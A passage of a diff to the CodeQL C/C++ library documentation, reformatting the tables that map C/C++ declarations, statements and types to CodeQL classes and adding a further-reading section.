-+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``class`` *C* ``{`` ... | NestedEnum_ | | -| | ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``}`` ... ``}`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``enum class`` *en* ``: short {`` *val1* ``,`` *val2* ... ``}`` | ScopedEnum_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``class`` *C* ``{`` ... | AbstractClass_ | | -| | ``virtual void`` *func* ``( int ) = 0;`` ... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``template < int , float > class`` *C* ``{`` ... ``};`` | ClassTemplateInstantiation_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``template < > class`` *C* ``<`` Type_ ``> {`` ... ``};`` | FullClassTemplateSpecialization_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``template < typename`` *T* ``>`` | PartialClassTemplateSpecialization_ | | -| | ``class`` *C* ``<`` *T* ``,`` *5* ``> {`` ... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``int`` *func* ``( void ) {`` ... ``class`` *C* ``{`` ... ``};`` ... ``}`` | LocalClass_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``class`` *C* ``{`` ... ``class`` *D* ``{`` ... ``};`` ... ``};`` | NestedClass_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``class`` *C* ``{`` | Class_ | | -| | Type_ *var* ``;`` | | | -| | Type_ *func* ``(`` Parameter_... ``) {`` ... ``}``... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``struct`` *S* ``{`` ... | | Struct_ | | -| | Type_ *var* ``;`` | | Class_ | | -| | Type_ *func* ``(`` Parameter_... ``) {`` ... ``}``... ``};`` | | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``union`` *U* ``{`` | | Union_ | | -| | Type_ *var1* ``;`` | | Struct_ | | -| | Type_ *var2* ``;`` ... ``};`` | | Class_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``template < typename`` *T* ``>`` | ProxyClass_ | Appears only in *uninstantiated* | -| | ``struct`` *C* ``:`` *T* ``{`` ... ``};`` | | templates | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``int`` *func* ``( void ) {`` ... | LocalStruct_ | | -| | ``struct`` *S* ``{`` ... ``};`` ... ``}`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``class`` *C* ``{`` ... | NestedStruct_ | | -| | ``struct`` *S* ``{`` ... ``};`` ... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``int *`` *func* ``( void ) {`` ... ``union`` *U* ``{`` ... ``};`` ... ``}`` | LocalUnion_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``class`` *C* ``{`` ... ``union`` *U* ``{`` ... ``};`` ... ``};`` | NestedUnion_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``typedef int`` *T* ``;`` | TypedefType_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``int`` *func* ``( void ) {`` ... | LocalTypedefType_ | | -| | ``typedef int`` *T* ``;`` ... ``}`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``class`` *C* ``{`` ... | NestedTypedefType_ | | -| | ``typedef int`` *T* ``;`` ... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``class`` *V* ``:`` ... ``public`` *B* ... ``{`` ... ``};`` | ClassDerivation_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``class`` *V* ``:`` ... ``virtual`` *B* ... ``{`` ... ``};`` | VirtualClassDerivation_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``template < typename`` *T* ``>`` | TemplateClass_ | | -| | ``class`` *C* ``{`` ... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``int`` *foo* ``(`` Type_ *param1* ``,`` Type_ *param2* ... ``);`` | Parameter_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``template <typename`` *T* ``>`` *T* *t* ``;`` | TemplateVariable_ | Since C++14 | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| Example syntax | CodeQL class | Remarks | ++===============================================================================+======================================+=====================================+ +| ``int`` *var* ``;`` | GlobalVariable_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``namespace`` *N* ``{`` ... ``float`` *var* ``;`` ... ``}`` | NamespaceVariable_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``int`` *func* ``( void ) {`` ... ``float`` *var* ``;`` ... ``}`` | LocalVariable_ | See also Initializer_ | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``int`` *var* ``;`` ... ``}`` | MemberVariable_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``int`` *func* ``(const char`` *param* ``);`` | Function_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | TemplateFunction_ | | +| | ``void`` *func* ``(`` *T* ``param);`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``int`` *func* ``(const char*`` *format* ``, ...)`` | FormattingFunction_ | | +| | ``{`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| *func* ``< int, float > (`` ... ``);`` | FunctionTemplateInstantiation_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | FunctionTemplateSpecialization_ | | +| | *func* ``< int,`` *T* ``> (`` ... ``) {`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | MemberFunction_ | | +| | ``int`` *func* ``( float`` *param* ``);`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | ConstMemberFunction_ | | +| | ``int`` *func* ``( float`` *param* ``) const;`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``virtual int`` *func* ``(`` ... ``) {`` ... ``} };`` | VirtualFunction_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... *C* ``(`` ... ``) {`` ... ``}`` ... ``};`` | Constructor_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``C::operator float () const;`` | ConversionOperator_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``~`` *C* ``( void ) {`` ... ``}`` ... ``};`` | Destructor_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | ConversionConstructor_ | | +| | *C* ``( const`` *D* ``&`` *d* ``) {`` ... ``}`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| *C* ``&`` *C* ``:: operator= (const`` *C* ``& );`` | CopyAssignmentOperator_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| *C* ``&`` *C* ``:: operator= (`` *C* ``&& );`` | MoveAssignmentOperator_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| *C* ``::`` *C* ``(const`` *C* ``& );`` | CopyConstructor_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| *C* ``::`` *C* ``(`` *C* ``&& );`` | MoveConstructor_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| *C* ``::`` *C* ``(void);`` | NoArgConstructor_ | Default constructor | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``}`` | EnumConstant_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``friend void`` *func* ``( int );`` | FriendDecl_ | | +| | ``friend class`` *B* ``;`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``int`` *func* ``( void ) {`` ... | LocalEnum_ | | +| | ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``};`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | NestedEnum_ | | +| | ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``}`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``enum class`` *en* ``: short {`` *val1* ``,`` *val2* ... ``}`` | ScopedEnum_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | AbstractClass_ | | +| | ``virtual void`` *func* ``( int ) = 0;`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``template < int , float > class`` *C* ``{`` ... ``};`` | ClassTemplateInstantiation_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``template < > class`` *C* ``<`` Type_ ``> {`` ... ``};`` | FullClassTemplateSpecialization_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | PartialClassTemplateSpecialization_ | | +| | ``class`` *C* ``<`` *T* ``,`` *5* ``> {`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``int`` *func* ``( void ) {`` ... ``class`` *C* ``{`` ... ``};`` ... ``}`` | LocalClass_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``class`` *D* ``{`` ... ``};`` ... ``};`` | NestedClass_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` | Class_ | | +| | Type_ *var* ``;`` | | | +| | Type_ *func* ``(`` Parameter_... ``) {`` ... ``}``... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``struct`` *S* ``{`` ... | | Struct_ | | +| | Type_ *var* ``;`` | | Class_ | | +| | Type_ *func* ``(`` Parameter_... ``) {`` ... ``}``... ``};`` | | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``union`` *U* ``{`` | | Union_ | | +| | Type_ *var1* ``;`` | | Struct_ | | +| | Type_ *var2* ``;`` ... ``};`` | | Class_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | ProxyClass_ | Appears only in *uninstantiated* | +| | ``struct`` *C* ``:`` *T* ``{`` ... ``};`` | | templates | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``int`` *func* ``( void ) {`` ... | LocalStruct_ | | +| | ``struct`` *S* ``{`` ... ``};`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | NestedStruct_ | | +| | ``struct`` *S* ``{`` ... ``};`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``int *`` *func* ``( void ) {`` ... ``union`` *U* ``{`` ... ``};`` ... ``}`` | LocalUnion_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``union`` *U* ``{`` ... ``};`` ... ``};`` | NestedUnion_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``typedef int`` *T* ``;`` | TypedefType_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``int`` *func* ``( void ) {`` ... | LocalTypedefType_ | | +| | ``typedef int`` *T* ``;`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | NestedTypedefType_ | | +| | ``typedef int`` *T* ``;`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``class`` *V* ``:`` ... ``public`` *B* ... ``{`` ... ``};`` | ClassDerivation_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``class`` *V* ``:`` ... ``virtual`` *B* ... ``{`` ... ``};`` | VirtualClassDerivation_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | TemplateClass_ | | +| | ``class`` *C* ``{`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``int`` *foo* ``(`` Type_ *param1* ``,`` Type_ *param2* ... ``);`` | Parameter_ | | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ +| ``template <typename`` *T* ``>`` *T* *t* ``;`` | TemplateVariable_ | Since C++14 | ++-------------------------------------------------------------------------------+--------------------------------------+-------------------------------------+ Statement classes ~~~~~~~~~~~~~~~~~ This table lists subclasses of Stmt_ representing C/C++ statements. -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| Example syntax | CodeQL class | Remarks | -+==========================================================+=================================================+===================================================+ -| ``__asm__ ("`` *movb %bh, (%eax)* ``");`` | AsmStmt_ | Specific to a given CPU instruction set | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``{`` Stmt_... ``}`` | Block_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``catch (`` Parameter_ ``)`` Block_ | CatchBlock_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``catch ( ... )`` Block_ | CatchAnyBlock_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``goto *`` *labelptr* ``;`` | ComputedGotoStmt_ | GNU extension; use with LabelLiteral_ | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| Type_ *i* ``,`` *j* ``;`` | DeclStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``if (`` Expr_ ``)`` Stmt_ ``else`` Stmt_ | IfStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``switch (`` Expr_ ``) {`` SwitchCase_... ``}`` | SwitchStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``do`` Stmt_ ``while (`` Expr_ ``)`` | DoStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``for (`` DeclStmt_ ``;`` Expr_ ``;`` Expr_ ``)`` Stmt_ | ForStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``for (`` DeclStmt_ ``:`` Expr_ ``)`` Stmt_ | RangeBasedForStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``while (`` Expr_ ``)`` Stmt_ | WhileStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| Expr_ ``;`` | ExprStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``__try {`` ... ``} __except (`` Expr_ ``) {`` ... ``}`` | MicrosoftTryExceptStmt_ | Structured exception handling (SEH) under Windows | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``__try {`` ... ``} __finally {`` ... ``}`` | MicrosoftTryFinallyStmt_ | Structured exception handling (SEH) under Windows | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``return`` Expr_ ``;`` | ReturnStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``case`` Expr_ ``:`` | SwitchCase_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``try {`` Stmt_... ``}`` CatchBlock_... CatchAnyBlock_ | TryStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| | ``void`` *func* ``(void) try {`` Stmt_... ``}`` | FunctionTryStmt_ | | -| | CatchBlock_... CatchAnyBlock_ | | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``;`` | EmptyStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``break;`` | BreakStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``continue;`` | ContinueStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``goto`` LabelStmt_ ``;`` | GotoStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| *slabel* ``:`` | LabelStmt_ | | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ -| ``float`` *arr* ``[`` Expr_ ``] [`` Expr_ ``];`` | VlaDeclStmt_ | C99 variable-length array | -+----------------------------------------------------------+-------------------------------------------------+---------------------------------------------------+ ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| Example syntax | CodeQL class | Remarks | ++==========================================================+================================+===================================================+ +| ``__asm__ ("`` *movb %bh, (%eax)* ``");`` | AsmStmt_ | Specific to a given CPU instruction set | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``{`` Stmt_... ``}`` | Block_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``catch (`` Parameter_ ``)`` Block_ | CatchBlock_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``catch ( ... )`` Block_ | CatchAnyBlock_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``goto *`` *labelptr* ``;`` | ComputedGotoStmt_ | GNU extension; use with LabelLiteral_ | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| Type_ *i* ``,`` *j* ``;`` | DeclStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``if (`` Expr_ ``)`` Stmt_ ``else`` Stmt_ | IfStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``switch (`` Expr_ ``) {`` SwitchCase_... ``}`` | SwitchStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``do`` Stmt_ ``while (`` Expr_ ``)`` | DoStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``for (`` DeclStmt_ ``;`` Expr_ ``;`` Expr_ ``)`` Stmt_ | ForStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``for (`` DeclStmt_ ``:`` Expr_ ``)`` Stmt_ | RangeBasedForStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``while (`` Expr_ ``)`` Stmt_ | WhileStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| Expr_ ``;`` | ExprStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``__try {`` ... ``} __except (`` Expr_ ``) {`` ... ``}`` | MicrosoftTryExceptStmt_ | Structured exception handling (SEH) under Windows | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``__try {`` ... ``} __finally {`` ... ``}`` | MicrosoftTryFinallyStmt_ | Structured exception handling (SEH) under Windows | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``return`` Expr_ ``;`` | ReturnStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``case`` Expr_ ``:`` | SwitchCase_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``try {`` Stmt_... ``}`` CatchBlock_... CatchAnyBlock_ | TryStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| | ``void`` *func* ``(void) try {`` Stmt_... ``}`` | FunctionTryStmt_ | | +| | CatchBlock_... CatchAnyBlock_ | | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``;`` | EmptyStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``break;`` | BreakStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``continue;`` | ContinueStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``goto`` LabelStmt_ ``;`` | GotoStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| *slabel* ``:`` | LabelStmt_ | | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ +| ``float`` *arr* ``[`` Expr_ ``] [`` Expr_ ``];`` | VlaDeclStmt_ | C99 variable-length array | ++----------------------------------------------------------+--------------------------------+---------------------------------------------------+ Expression classes @@ -419,67 +419,67 @@ Type classes This table lists subclasses of Type_ representing C/C++ types. -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Example syntax | CodeQL class | Remarks | -+===================================================================+=============================================================================================================================+=================+ -| ``void`` | VoidType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``_Bool`` or ``bool`` | BoolType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``char16_t`` | `Char16Type <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char16Type.html>`__ | C11, C++11 | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``char32_t`` | `Char32Type <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char32Type.html>`__ | C11, C++11 | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``char`` | PlainCharType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``signed char`` | SignedCharType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``unsigned char`` | UnsignedCharType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``int`` | IntType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``long long`` | LongLongType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``long`` | LongType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``short`` | ShortType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``wchar_t`` | WideCharType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``nullptr_t`` | NullPointerType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``double`` | DoubleType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``long double`` | LongDoubleType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``float`` | FloatType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``auto`` | AutoType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``decltype (`` Expr_ ``)`` | Decltype_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``[`` *n* ``]`` | ArrayType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``( ^`` *blockptr* ``) (`` Parameter_... ``)`` | BlockType_ | Apple extension | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``( *`` *funcptr* ``) (`` Parameter_... ``)`` | FunctionPointerType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``( &`` *funcref* ``) (`` Parameter_... ``)`` | FunctionReferenceType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``__attribute__ ( ( vector_size (`` *n* ``) ) )`` | GNUVectorType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``*`` | PointerType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``&`` | LValueReferenceType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``&&`` | RValueReferenceType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| Type_ ``(`` Class_ ``*::`` *membptr* ``) (`` Parameter_... ``)`` | PointerToMemberType_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``template < template < typename > class`` *C* ``>`` | TemplateTemplateParameter_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ -| ``template < typename`` *T* ``>`` | TemplateParameter_ | | -+-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Example syntax | CodeQL class | Remarks | ++===================================================================+=================================+=================+ +| ``void`` | VoidType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``_Bool`` or ``bool`` | BoolType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``char16_t`` | Char16Type_ | C11, C++11 | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``char32_t`` | Char32Type_ | C11, C++11 | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``char`` | PlainCharType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``signed char`` | SignedCharType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``unsigned char`` | UnsignedCharType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``int`` | IntType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``long long`` | LongLongType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``long`` | LongType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``short`` | ShortType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``wchar_t`` | WideCharType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``nullptr_t`` | NullPointerType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``double`` | DoubleType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``long double`` | LongDoubleType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``float`` | FloatType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``auto`` | AutoType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``decltype (`` Expr_ ``)`` | Decltype_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``[`` *n* ``]`` | ArrayType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``( ^`` *blockptr* ``) (`` Parameter_... ``)`` | BlockType_ | Apple extension | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``( *`` *funcptr* ``) (`` Parameter_... ``)`` | FunctionPointerType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``( &`` *funcref* ``) (`` Parameter_... ``)`` | FunctionReferenceType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``__attribute__ ( ( vector_size (`` *n* ``) ) )`` | GNUVectorType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``*`` | PointerType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``&`` | LValueReferenceType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``&&`` | RValueReferenceType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| Type_ ``(`` Class_ ``*::`` *membptr* ``) (`` Parameter_... ``)`` | PointerToMemberType_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``template < template < typename > class`` *C* ``>`` | TemplateTemplateParameter_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ +| ``template < typename`` *T* ``>`` | TemplateParameter_ | | ++-------------------------------------------------------------------+---------------------------------+-----------------+ Preprocessor classes @@ -521,6 +521,14 @@ This table lists Preprocessor_ classes representing C/C++ preprocessing directiv | ``#define`` *macro* ... | Macro_ | | +-------------------------------------+----------------------+----------------------+ +Further reading +--------------- + +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst + +.. Links used in tables. For information about using these links, see + https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#hyperlinks. .. _Declaration: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Declaration.qll/type.Declaration$Declaration.html .. _GlobalVariable: 